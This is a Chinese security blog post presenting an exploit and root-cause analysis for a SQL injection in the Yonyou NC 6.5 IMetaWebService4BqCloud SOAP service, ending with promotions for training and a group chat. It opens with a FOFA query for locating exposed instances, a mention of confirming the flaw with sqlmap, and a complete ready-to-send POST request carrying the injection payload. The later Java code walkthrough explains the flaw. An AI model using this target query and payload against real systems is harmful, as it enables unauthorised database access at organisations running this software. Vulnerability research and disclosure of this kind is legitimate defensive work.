漏洞利用 | 用友NC IMetaWebService4BqCloud数据源SQL注入

原文链接: https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247487647&idx=1&sn=0568c440e430ad84c661d9862760d84d

漏洞利用 | 用友NC IMetaWebService4BqCloud数据源SQL注入

原创 chobits02 C4安全 2025-07-12 13:36

前言

这次分析的漏洞是用友NC的一个比较隐蔽的SQL注入,网上很少有利用信息公开过

原来我是想投稿在奇安信社区的来着,不过漏洞分析总感觉缺乏关键证据,于是就放在公众号上了,希望有能力的师傅们能就这代码深挖一下

漏洞利用 | 用友NC IMetaWebService4BqCloud数据源SQL注入

那么废话少说,一上来就先说下漏洞的利用方法

漏洞影响的产品是用友NC 65版本,FOFA语法是

app="用友-UFIDA-NC"

这里请求目标的http://xxxx/uapws/service/uap.pubitf.ae.meta.IMetaWebService4BqCloud?WSDL

可以看到webservice的调用方法,用wsdl解析工具解析下构造请求即可

image.png

使用SQLMAP对数据包进行验证,验证存在注入

抓包可以看到,漏洞的利用数据包如下

POST /uapws/service/uap.pubitf.ae.meta.IMetaWebService4BqCloud HTTP/1.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=09133CFE3A7B0CE8341AB1A7DEDFCCDE.server
Connection: keep-alive
SOAPAction: urn:loadFields
Content-Type: text/xml;charset=UTF-8
Host: 
Content-Length: 350
<soapenv:Envelope xmlns:soapenv=&#34;http://schemas.xmlsoap.org/soap/envelope/&#34; xmlns:imet=&#34;http://meta.ae.pubitf.uap/IMetaWebService4BqCloud&#34;>
   <soapenv:Header/>
   <soapenv:Body>
      <imet:loadFields>
         <!--type: string-->
         <imet:string>SmartModel^1';*</imet:string>
      </imet:loadFields>
   </soapenv:Body>
</soapenv:Envelope>

然后就到分析这一步了,漏洞是怎么来的呢,有请名侦探柯南

漏洞利用 | 用友NC IMetaWebService4BqCloud数据源SQL注入

漏洞
位于

IMetaWebService4BqCloud

接口处,方法的完整路径为

uap.pubitf.ae.meta.IMetaWebService4BqCloud

这里只关注下面的loadFields方法,到

MetaWebService4BqCloud

里面看一下具体用法,此处传入了字符串

可以看到loadFields调用了MetaWebService下面的loadFields方法,继续追踪下去

代码如下

public MetaField[] loadFields(String metaEntityId) throws Exception {  
String metaType = MetaUtilities.getMetaTypeFromMetaId(metaEntityId);  
if (StringUtils.isEmpty(metaType))  
returnnull;   
if (!&#34;SmartModel&#34;.equalsIgnoreCase(metaType) && !&#34;SmartMeta&#34;.equalsIgnoreCase(metaType) && !&#34;NCDB&#34;.equalsIgnoreCase(metaType))  
returnnull;   
    IMetaQueryService mqs = (IMetaQueryService)NCLocator.getInstance().lookup(IMetaQueryService.class);  
    IMetaElement e = mqs.getMetaElementByID(metaEntityId);  
if (!(e instanceof IMetaEntity))  
returnnull;   
    IMetaEntity entity = (IMetaEntity)e;  
    IMetaAttribute[] attributes = entity.getMetaAttributes();  
if (attributes == null || attributes.length == 0)  
returnnull;   
List<MetaField> fieldList = new ArrayList<>();  
for (IMetaAttribute a : attributes) {  
if (a != null)  
if (isFieldType(a.getMetaType()))  
          fieldList.add(transToMetaField(a));    
    }   
return fieldList.<MetaField>toArray(new MetaField[fieldList.size()]);  
  }

可以看到首先方法下面调用了

getMetaTypeFromMetaId

方法

String metaType = MetaUtilities.getMetaTypeFromMetaId(metaEntityId);

追踪一下这个方法是截取字符串中^之前的字符进行返回的

然后接下来方法中有个判断,说明传入的字符串的^之前字符必须是

SmartModel

或者

SmartMeta

或者

NCDB

,不然返回null

然后来到方法

getMetaElementByID

,传入的是完整字符串

追踪方法

可以看到下面又调用了MetaUtilities的两个方法

这两个方法是分别截取字符串^之前的字符和之后的字符的,所以没啥特别的

然后来到方法

getMetaElementByID

下面的最后一个方法

getMetaByBussinessID

,将上面截断的^前后的字符传入此方法中

public IMetaElement getMetaByBussinessID(String metaType, String businessId) throws MetaException {  
if (StringUtils.isEmpty(metaType))  
returnnull;   
    IMetaDriver[] drivers = MetaDriverManager.getInstance().getDriversByMetaType(metaType);  
if (drivers == null || drivers.length == 0)  
returnnull;   
    IMetaElement result = null;  
for (IMetaDriver driver : drivers) {  
      IMetaElement me = driver.getMetaElementByBusinessId(metaType, businessId);  
if (me != null) {  
        result = me;  
break;  
      }   
    }   
return result;  
  }

直接来到最后的方法

getMetaElementByBusinessId

中,此次传入的metaType是字符串^之前的字符,而businessId是^之后的字符,这里再强调下

然后到方法里面又给拼起来了(多此一举),字符串又变成整体传入了

getMetaElementByMetaId

方法中

再追踪来到对应方法中

这里调用了

getInstance

getDataSourceByIndentifier

方法,分别来看下

getInstance

方法调用了

init

方法,这里是设置元数据名称、类型、ID的

初始化时候^之前的作为dsName,^之后的作为是businessId

一般businessId不会是”$datesource$”,也没有点号分割,所以会进入第二个if语句当中,把businessId当做表名tableName来查询,造成SQL注入

那再看

getDataSourceByIndentifier

方法看下,就是取出上一步的数据作为数据源连接

87bc2570-d6cf-4612-acd2-8749e50dea38.png

到此分析结束,所以传入这个方法的字符串可以是以SmartModel^开头,后面再拼接SQL语句,类似会得到这样的解析

dsName = &#34;SmartModel&#34;
tableName = &#34;'; 恶意SQL语句--&#34;

调用 

getColumns(...)

时,JDBC 驱动可能构造出类似 SQL

SELECT * FROM ALL_CONS_COLUMNS WHERE TABLE_NAME = ''; 恶意SQL语句--'

漏洞利用 | 用友NC IMetaWebService4BqCloud数据源SQL注入

结语

感兴趣的可以公众号私聊我
进团队交流群,
咨询问题,hvv简历投递,nisp和cisp考证都可以联系我

内部src培训视频,内部知识圈日常更新漏洞情报,可私聊领取优惠券,加入链接:https://wiki.freebuf.com/societyDetail?society_id=184

加入团队、加入公开群等都可联系微信:yukikhq,搜索添加即可。


图片

END